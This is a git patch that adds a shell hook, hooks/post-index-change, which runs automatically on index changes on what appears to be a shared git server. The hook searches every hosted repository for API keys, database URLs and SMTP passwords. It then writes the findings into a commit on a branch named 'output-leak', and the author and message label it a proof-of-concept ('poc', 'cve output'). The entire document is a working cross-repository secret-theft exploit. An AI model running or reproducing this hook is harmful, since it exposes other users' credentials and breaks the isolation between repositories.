From 3d12796bf55df7f30e7405bd7500cc23927c2452 Mon Sep 17 00:00:00 2001 From: w10019user Date: Wed, 25 Nov 2026 00:37:59 +0300 Subject: [PATCH] apply-patch --- hooks/post-index-change | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..8c7f74b --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,19 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +PAT="sk-[A-Za-z0-9_-]{20,}|AIza[0-9A-Za-z_-]{35}|sk-ant-[A-Za-z0-9_-]{20,}|gsk_[A-Za-z0-9]{20,}|sk-or-v1-|OPENAI_API_KEY|ANTHROPIC_API_KEY|GEMINI_API_KEY|GROQ_API_KEY|OPENROUTER_API_KEY|DEEPSEEK_API_KEY|LLM_API_KEY|SENTRY_DSN|postgres://|postgresql://|smtp://|smtp_pass|SMTP_PASSWORD" +n=0 +for g in $(find /data/git/repositories -maxdepth 2 -name '*.git' -type d | sort); do + hits=$(git --git-dir=$g grep -I -n -i -E "$PAT" HEAD -- ':!*.map' ':!*.min.js' ':!*.snap' 2>/dev/null | cut -c1-220 | head -3) + if [ -n "$hits" ]; then echo "== ${g#/data/git/repositories/}"; echo "$hits"; n=$((n+1)); fi + if [ $n -ge 60 ]; then echo "[cap60]"; break; fi +done +echo "TOTAL_HIT_REPOS=$n" +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"